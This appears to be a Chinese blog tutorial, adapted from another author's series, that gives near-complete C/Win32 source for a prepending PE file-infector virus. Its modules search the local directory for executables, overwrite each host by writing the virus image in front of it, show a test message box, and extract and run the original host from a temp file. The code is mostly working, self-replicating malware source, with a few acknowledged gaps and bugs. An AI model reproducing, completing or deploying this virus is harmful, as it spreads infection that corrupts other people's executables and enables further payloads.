本文学习自:关于PE病毒的编写学习(一~六) by yangbostar
代码也来源于此,经过一些修改,还不是很完善。如没有添加感染标记,检查感染的文件是否已被感染过。
前置病毒,和资源感染类似,资源感染是病毒把宿主程序添加到程序的资源中,替换覆盖原程序,运行时将宿主程序释放成一个临时文件运行。前置病毒是读取病毒和宿主程序数据,然后将病毒和宿主程序数据再以病毒 --> 宿主程序的顺序写入宿主程序文件,运行时创建一个临时文件,读取程序中宿主程序的数据写入临时文件运行。
文件型病毒至少有这四个模块:
1> 条件模块:判断触发条件和寻找符合条件的宿主文件
2> 破坏模块:
3> 感染模块:
4> 宿主程序引导模块:将病毒的控制权移交给所触发病毒文件的宿主程序
BOOL IsPEFile(HANDLE hFIle)函数,它的作用是判断文件是否为PE格式文件。它把文件句柄作为参数,虽然许多函数需要文件句柄这个参数,但是作为对PE文件结构操作的函数,这样做是不恰当的,因为如果这样做就要频繁的使用SetFilePointer()、ReadFile()、WriteFile()。假若以文件指针作为参数,那么这一类关于PE结构文件操作的代码,将大大简化。
// 判断是否为PE文件
BOOL IsPeFile(PVOID ImageBase)
{
if (NULL == ImageBase)
return FALSE;
PIMAGE_DOS_HEADER pstDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
if (IMAGE_DOS_SIGNATURE == pstDosHeader->e_magic)
{
PIMAGE_NT_HEADERS pstNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)ImageBase + pstDosHeader->e_lfanew);
if (IMAGE_NT_SIGNATURE == pstNtHeader->Signature)
return TRUE;
}
return FALSE;
}
当然为了使文件以指针传入,需要将其映射到内存中,并且由于许多函数需要文件句柄,所以有以下结构:
typedef struct PEFileInformation//用这个名字是因为将来还要添加其他成员
{
HANDLE hFile;
HANDLE hMap;
LPVOID ImageBase;
} PEINFORMATION, *PPEINFORMATION;
1.条件模块:
功能:搜索病毒文件所在目录中,规定数目的exe文件
PPEINFORMATION OpenHostFile(TCHAR *Top,
PPEINFORMATION pPeInfo,
WIN32_FIND_DATA *pWin32fd)
{
TCHAR szPath[MAX_PATH];
_tcsncpy(szPath, Top, MAX_PATH);
_tcsncat(szPath, pWin32fd->cFileName, MAX_PATH - _tcslen(szPath) - 1);
pPeInfo->hFile = CreateFile(szPath, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (INVALID_HANDLE_VALUE != pPeInfo->hFile)
{
pPeInfo->hMap = CreateFileMapping(pPeInfo->hFile, NULL, PAGE_READWRITE,
0, 0, NULL);
pPeInfo->ImageBase = MapViewOfFile(pPeInfo->hMap, FILE_MAP_READ | FILE_MAP_WRITE,
0, 0, 0);
if (NULL == pPeInfo->ImageBase)
return NULL;
}
return pPeInfo;
}
//搜索函数
// 函数说明:历遍该路径下的可执行文件
// 参 数:Top 文件路径 int nCount 搜索符合要求文件的最大数目 szHostFileHandle 将找到的符合要求文件句柄储存在这里
// 返 回 值:找到符合要求文件的数目
DWORD SearchHostFile(TCHAR *Top, int nCount, PHANDLE szHostFileHandle)
{
WIN32_FIND_DATA fd;
PEINFORMATION PeInfo = {0};
DWORD nResult = 0;
TCHAR szPath[MAX_PATH];
_tcsncpy(szPath, Top, MAX_PATH);
_tcsncat(szPath, TEXT("*.*"), MAX_PATH - _tcslen(szPath) - 1);
HANDLE hFind = FindFirstFile(szPath, &fd);
if (INVALID_HANDLE_VALUE != hFind)
{
OpenHostFile(Top, &PeInfo, &fd);
while (nResult < nCount)
{
// 如果是目录就递归搜索
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if (fd.cFileName[0] != TEXT('.'))
nResult = SearchHostFile(fd.cFileName, nCount, szHostFileHandle);
}
else
{
if (IsPeFile(PeInfo.ImageBase))
{
szHostFileHandle[nResult] = PeInfo.hFile;
nResult++;
}
}
// 撤销内存映射
UnmapViewOfFile(PeInfo.ImageBase);
CloseHandle(PeInfo.hMap);
PeInfo.ImageBase = NULL;
if (!FindNextFile(hFind, &fd))
break;
OpenHostFile(Top, &PeInfo, &fd);
Sleep(0);
}
}
return nResult;
}
2.感染模块:
// 功能:将病毒文件注入宿主文件,将原宿主文件向后移动
// 定义病毒大小,使用全局变量是因为其它模块也要用到,32768是代码在VC2005 Debug模式下的生成文件大小
// 但并非都是这样,请自行确定,如果大小错误,那么感染后的文件运行会出错
DWORD dwVirusSize = 32768;
void Infect(HANDLE hHostFile, HANDLE hLocalFile)
{
DWORD dwHostSize = GetFileSize(hHostFile, 0);
DWORD dwReadBytes, dwWriteBytes;
BYTE *pLocalTempBuf = (BYTE *)malloc(dwVirusSize * sizeof(BYTE));
BYTE *pHostTempBuf = (BYTE *)malloc(dwHostSize * sizeof(BYTE));
ReadFile(hHostFile, pHostTempBuf, dwHostSize, &dwReadBytes, NULL);
ReadFile(hLocalFile, pLocalTempBuf, dwVirusSize, &dwReadBytes, NULL);
SetFilePointer(hHostFile, 0, 0, FILE_BEGIN);
WriteFile(hHostFile, pLocalTempBuf, dwVirusSize, &dwWriteBytes, NULL);
WriteFile(hHostFile, pHostTempBuf, dwHostSize, &dwWriteBytes, NULL);
SetFilePointer(hHostFile, 0, 0, FILE_BEGIN);
free(pLocalTempBuf);
free(pHostTempBuf);
}
3.破坏模块:
// 功能:仅仅打印提示。
void Destory(void)
{
MessageBox(NULL, TEXT("这只是个测试 :)"), TEXT("Test"), MB_OK);
}
4.宿主程序引导模块
// 功能:创建临时文件,将所触发的病毒文件的宿主程序写入,然后启动
// 宿主程序引导模块
void JumpLocalHostFile(HANDLE hLocalFile)
{
DWORD nCount = 0;
// 获取感染后的宿主文件长度
DWORD dwHostSize = GetFileSize(hLocalFile, 0);
if (dwHostSize == dwVirusSize)
return ;
// 申请一个宿主程序长度的缓存并读取宿主程序数据
BYTE *pTemp = (BYTE *)malloc(dwHostSize - dwVirusSize * sizeof(BYTE));
SetFilePointer(hLocalFile, dwVirusSize, 0, FILE_BEGIN);
ReadFile(hLocalFile, pTemp, (dwHostSize - dwVirusSize), &nCount, NULL);
// 获取临时文件路径并和文件名连接
TCHAR szLocalPath[MAX_PATH];
TCHAR szTempPath[MAX_PATH];
TCHAR szTempName[50];
GetTempPath(MAX_PATH, szTempPath);
GetModuleFileName(NULL, szLocalPath, MAX_PATH);
GetFileTitle(szLocalPath, szTempName, 50);
_tcsncat(szTempPath, szTempName, MAX_PATH - _tcslen(szTempPath) - 1);
// 在临时目录创建一个文件并写入数据
HANDLE hJumpHost = CreateFile(szTempPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ,
NULL, CREATE_ALWAYS, 0, NULL);
if (INVALID_HANDLE_VALUE == hJumpHost)
return ;
WriteFile(hJumpHost, pTemp, dwHostSize - dwVirusSize, &nCount, NULL);
free(pTemp);
CloseHandle(hJumpHost);
// 运行宿主程序
PROCESS_INFORMATION pi;
STARTUPINFO si = {sizeof(si)};
if (CreateProcess(szTempPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS,
NULL, NULL, &si, &pi))
{
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
DeleteFile(szTempPath);
}
}
5.程序入口
#include "stdafx.h"
#include <windows.h>
#include <tchar.h>
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
// 获取当前文件路径并打开文件
TCHAR szLocalPath[MAX_PATH];
GetModuleFileName(NULL, szLocalPath, MAX_PATH);
HANDLE hFile = CreateFile(szLocalPath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
HANDLE szHostFileHandle[3];
// 去掉文件名保存目录
TCHAR *pStr = szLocalPath;
int nLen = _tcslen(szLocalPath);
pStr += nLen;
while (*(pStr - 1)!= TEXT('\\'))
pStr--;
*pStr = TEXT('\0');
// 搜索文件和注入
DWORD dwFoundFileNumber = SearchHostFile(szLocalPath, 3, szHostFileHandle);
for (int i = 0; i < dwFoundFileNumber; i++)
{
Infect(szHostFileHandle[i], hFile);
CloseHandle(szHostFileHandle[i]);
}
Destory();
// 运行宿主程序
JumpLocalHostFile(hFile);
CloseHandle(hFile);
return 0;
}